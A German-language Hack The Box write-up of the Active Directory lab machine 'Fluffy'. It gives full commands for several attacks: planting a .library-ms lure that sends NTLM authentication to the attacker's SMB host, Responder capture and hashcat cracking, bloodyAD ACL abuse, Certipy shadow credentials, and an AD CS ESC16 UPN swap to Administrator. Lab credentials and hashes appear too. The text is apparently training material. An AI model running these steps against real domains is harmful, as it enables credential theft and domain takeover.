← Zurück zu Machines

HTB · published

Fluffy

Hack The Box CPTS-Track Writeup für Fluffy: Assumed Breach, CVE-2025-24071 NTLM Capture, Shadow Credentials, WinRM und AD CS ESC16.

HTBCPTSWriteupActive DirectoryAD CSShadow CredentialsESC16MachineWindows

Metadaten

  • Name: Fluffy
  • IP Address: 10.129.8.103
  • Plattform: Windows
  • Kategorie: Active Directory / SMB / NTLM Capture / ADCS
  • Schwierigkeit: Easy
  • Ziel(e): User, Administrator / Root
  • Kurzbeschreibung: Fluffy ist ein Windows Server 2019 Domain Controller für fluffy.htb. Die Maschine folgt einem Assumed-Breach-AD-Pfad: Start-Credentials für j.fleischman geben Schreibzugriff auf den IT-Share. Über eine bösartige .library-ms-Datei wird ein NetNTLMv2-Hash von p.agila erbeutet und gecrackt. Danach führen ACL-Missbrauch und Shadow Credentials zu winrm_svc, anschließend über AD CS ESC16 zu Administrator.

Executive Summary

Der Einstieg begann mit bekannten Zugangsdaten:

j.fleischman / J0elTHEM4n1990!

Dieser Account hatte Schreibrechte auf dem SMB-Share IT. Dort lagen Upgrade-Dateien und ein Hinweis auf CVE-2025-24071. Durch das Ablegen einer präparierten Windows-Library-Datei wurde eine SMB-Authentifizierung von p.agila ausgelöst. Der NetNTLMv2-Hash ließ sich zu prometheusx-303 cracken.

Mit p.agila wurde über ACL-Rechte die Gruppe Service Accounts missbraucht. Danach waren Shadow Credentials gegen winrm_svc möglich, wodurch der NTLM-Hash für WinRM gewonnen wurde. Der Root-Pfad führte über Shadow Credentials gegen ca_svc und AD CS ESC16: Die UPN von ca_svc wurde temporär auf administrator@fluffy.htb gesetzt, ein Zertifikat angefordert und anschließend als Administrator authentifiziert.

Flags:

  • User: 9cdb1[REDACTED-USER-FLAG]7041
  • Root: 1e9ad[REDACTED-ROOT-FLAG]0d3e

Reconnaissance / Enumeration

Host Discovery zeigte eine Windows-typische TTL:

ping -c 2 10.129.8.103
64 bytes from 10.129.8.103: ttl=127

Der Full-Port-Scan zeigte eine klassische Domain-Controller-Angriffsfläche:

nmap -p- --min-rate 5000 -vv 10.129.8.103 -oA scans/nmap_full_tcp

Wichtige offene Ports:

53/tcp    DNS
88/tcp    Kerberos
139/tcp   NetBIOS
389/tcp   LDAP
445/tcp   SMB
464/tcp   kpasswd
593/tcp   RPC over HTTP
636/tcp   LDAPS
3268/tcp  Global Catalog
3269/tcp  Global Catalog SSL
5985/tcp  WinRM
9389/tcp  ADWS
49667+    Dynamic RPC

Der gezielte Service-Scan bestätigte Domain und Host:

nmap -sCV -O -p 53,88,139,389,445,464,593,636,3268,3269,5985,9389 10.129.8.103 -oA scans/nmap_targeted
Domain: fluffy.htb
Host: DC01.fluffy.htb
OS guess: Windows Server 2019 / build 17763
SMB signing: enabled and required
Clock skew: +7 hours

Der Clock Skew wurde später wichtig, weil Kerberos-/PKINIT-basierte Tools ohne Zeitkorrektur fehlschlagen können.

LDAP / SMB Enumeration

LDAP RootDSE bestätigte den Naming Context:

ldapsearch -x -H ldap://10.129.8.103 -s base namingcontexts defaultNamingContext dnsHostName
defaultNamingContext: DC=fluffy,DC=htb
dnsHostName: DC01.fluffy.htb

SMB-Checks ohne valide Credentials zeigten Share-Namen, aber keinen brauchbaren Dateizugriff:

ADMIN$
C$
IPC$
IT
NETLOGON
SYSVOL

RID-Bruteforcing über LSARPC lieferte valide Benutzer:

ca_svc
ldap_svc
p.agila
winrm_svc
j.coffey
j.fleischman

AS-REP Roasting war nicht möglich; die gefundenen Benutzer erforderten Kerberos Pre-Authentication.

Assumed Breach: SMB Zugriff

Die Maschine startete mit einem Assumed-Breach-Credential:

j.fleischman / J0elTHEM4n1990!

Share-Enumeration:

crackmapexec smb DC01.fluffy.htb \
  -u 'j.fleischman' \
  -p 'J0elTHEM4n1990!' \
  --shares

Wichtige Rechte:

Share           Permissions
-----           -----------
IPC$            READ
IT              READ,WRITE
NETLOGON        READ
SYSVOL          READ

j.fleischman hatte keinen WinRM-Zugriff, aber der IT-Share war les- und beschreibbar.

Im IT-Share lagen:

Everything-1.4.1.1026.x64.zip
KeePass-2.58.zip
Upgrade_Notice.pdf

Die Upgrade_Notice.pdf verwies auf mehrere Schwachstellen, darunter CVE-2025-24071.

NTLM Capture über CVE-2025-24071

Für den NTLM-Capture wurde eine präparierte Windows-Library-Datei erstellt, die auf den eigenen SMB-Server zeigte:

<url>\\10.10.15.38\share</url>

Responder wurde gestartet:

responder -I tun0 -v

Dann wurde die .library-ms-Datei in den beschreibbaren IT-Share gelegt:

smbclient //DC01.fluffy.htb/IT \
  -U 'fluffy.htb/j.fleischman%J0elTHEM4n1990!' \
  -c 'put loot/IT/upgrade_notice.library-ms upgrade_notice.library-ms'

Dadurch wurde ein NetNTLMv2-Hash von p.agila ausgelöst und mit Responder erfasst.

Cracking mit Hashcat:

hashcat -m 5600 loot/pagila_netntlmv2_one.hash /usr/share/wordlists/rockyou.txt

Gefundenes Credential:

p.agila / prometheusx-303

Nach dem Capture wurde die hochgeladene Lure-Datei wieder entfernt.

ACL Abuse und Shadow Credentials

p.agila hatte zunächst keinen WinRM-Zugriff. Die AD-Rechte waren aber der Pivot: Über Schreibrechte an der Gruppe Service Accounts konnte p.agila hinzugefügt werden.

bloodyAD -d fluffy.htb \
  -u p.agila \
  -p 'prometheusx-303' \
  -H DC01.fluffy.htb \
  --dns 10.129.8.103 \
  add groupMember 'Service Accounts' p.agila

Danach konnte p.agila msDS-KeyCredentialLink auf Service-Accounts schreiben. Dadurch waren Shadow Credentials gegen diese Accounts möglich.

Wegen des Clock Skews wurde faketime '+7 hours' verwendet.

Shadow Credentials gegen winrm_svc:

faketime '+7 hours' certipy shadow auto \
  -u 'p.agila@fluffy.htb' \
  -p 'prometheusx-303' \
  -account winrm_svc \
  -dc-ip 10.129.8.103 \
  -target DC01.fluffy.htb \
  -ns 10.129.8.103

Ergebnis:

winrm_svc NTLM: 33bd09dcd697600edf6b3a7af4875767

User Flag

WinRM wurde mit dem Hash validiert:

crackmapexec winrm DC01.fluffy.htb \
  -u winrm_svc \
  -H 33bd09dcd697600edf6b3a7af4875767

Shell:

evil-winrm -i DC01.fluffy.htb \
  -u winrm_svc \
  -H 33bd09dcd697600edf6b3a7af4875767

User-Flag:

9cdb1[REDACTED-USER-FLAG]7041

AD CS Enumeration

LDAPS hatte bereits eine CA angedeutet. Certipy bestätigte AD CS:

CA Name: fluffy-DC01-CA
CA DNS: DC01.fluffy.htb
Web Enrollment: Disabled
Vulnerability: ESC16 - Security Extension is disabled

Wichtig:

Disabled Extensions: 1.3.6.1.4.1.311.25.2
ESC16: Security Extension is disabled

Das bedeutet: Zertifikate enthalten keine starke SID-Bindung. In Kombination mit Kontrolle über einen enrollbaren Account kann das zur Administrator-Impersonation führen.

ca_svc Takeover

Da ca_svc ebenfalls über Shadow Credentials angreifbar war, wurde zuerst dessen NTLM-Hash gewonnen:

faketime '+7 hours' certipy shadow auto \
  -u 'p.agila@fluffy.htb' \
  -p 'prometheusx-303' \
  -account ca_svc \
  -dc-ip 10.129.8.103 \
  -target DC01.fluffy.htb \
  -ns 10.129.8.103

Ergebnis:

ca_svc NTLM: ca0f4f9e9eb8a092addf53bb03fc98c8

Privilege Escalation: AD CS ESC16

Der ESC16-Weg bestand aus drei Schritten:

  1. UPN von ca_svc temporär auf administrator@fluffy.htb ändern.
  2. Zertifikat über das User-Template anfordern.
  3. UPN wieder auf den ursprünglichen Wert zurücksetzen.

UPN ändern:

faketime '+7 hours' certipy account update \
  -u 'ca_svc@fluffy.htb' \
  -hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' \
  -user ca_svc \
  -upn 'administrator@fluffy.htb' \
  -dc-ip 10.129.8.103 \
  -target DC01.fluffy.htb \
  -ns 10.129.8.103

Zertifikat anfordern:

faketime '+7 hours' certipy req \
  -u 'ca_svc@fluffy.htb' \
  -hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' \
  -ca 'fluffy-DC01-CA' \
  -template User \
  -dc-ip 10.129.8.103 \
  -target DC01.fluffy.htb \
  -target-ip 10.129.8.103 \
  -ns 10.129.8.103 \
  -dynamic-endpoint \
  -out loot/administrator_from_ca_svc

UPN wiederherstellen:

faketime '+7 hours' certipy account update \
  -u 'ca_svc@fluffy.htb' \
  -hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' \
  -user ca_svc \
  -upn 'ca_svc@fluffy.htb' \
  -dc-ip 10.129.8.103 \
  -target DC01.fluffy.htb \
  -ns 10.129.8.103

Das ausgestellte Zertifikat enthielt administrator@fluffy.htb. Durch ESC16 konnte es zur Administrator-Authentifizierung genutzt werden.

Authentifizierung mit dem Zertifikat:

faketime '+7 hours' certipy auth \
  -pfx loot/administrator_from_ca_svc.pfx \
  -dc-ip 10.129.8.103 \
  -domain fluffy.htb \
  -username administrator

Ergebnis:

Administrator NTLM: 8da83a3fa618b6e3a00e93f676c92a6e

Root Flag

Mit dem Administrator-Hash war WinRM-Zugriff möglich:

evil-winrm -i DC01.fluffy.htb \
  -u Administrator \
  -H 8da83a3fa618b6e3a00e93f676c92a6e

Root-Flag:

1e9ad[REDACTED-ROOT-FLAG]0d3e

Alternative Paths / Rabbit Holes

  • j.fleischman hatte SMB-Zugriff, aber keinen WinRM-Zugang.
  • AS-REP Roasting war nicht möglich, da alle gefundenen Benutzer Pre-Authentication erforderten.
  • Direktes Password Guessing brachte keinen sinnvollen Fortschritt.
  • AD CS Web Enrollment war deaktiviert; Zertifikatsanforderungen funktionierten über RPC.
  • BloodyAD konnte Shadow Credentials schreiben, aber PKINIT war erst mit korrigierter Zeit über Certipy zuverlässig.

Post-Exploitation

  • Initial Access: Assumed-Breach-Credential j.fleischman.
  • Credential Capture: .library-ms-Lure im IT-Share löste p.agila NetNTLMv2 aus.
  • User: Shadow Credentials gegen winrm_svc, danach WinRM und User-Flag.
  • Root: Shadow Credentials gegen ca_svc, ESC16 über UPN-Swap, Zertifikatsauth als Administrator.
  • Cleanup: Die .library-ms-Datei wurde aus dem Share entfernt; UPN von ca_svc wurde zurückgesetzt.

Lessons Learned

  • Assumed Breach bleibt Enumeration: Start-Credentials sind nur der Anfang; der direkte WinRM-Weg war blockiert.
  • Writable SMB Shares sind gefährlich: In Kombination mit .library-ms und CVE-2025-24071 kann schon Dateizugriff NTLM-Material auslösen.
  • RID Brute Force lohnt sich: Auch wenn LDAP anonym eingeschränkt ist, können über LSARPC valide Benutzer gefunden werden.
  • Clock Skew ernst nehmen: +7h Zeitversatz brach Kerberos/PKINIT-Workflows, bis faketime genutzt wurde.
  • Shadow Credentials sind starke Pivots: Schreibrechte auf msDS-KeyCredentialLink führten zu Service-Account-Hashes.
  • ESC16 ist mächtig: Ohne Security Extension kann ein UPN-Swap mit einem enrollbaren Account zur Administrator-Authentifizierung führen.

Tools Used

  • nmap
  • ldapsearch
  • smbclient
  • smbmap
  • enum4linux-ng
  • lookupsid.py
  • GetNPUsers.py
  • crackmapexec
  • Responder
  • hashcat
  • bloodyAD
  • Certipy
  • faketime
  • evil-winrm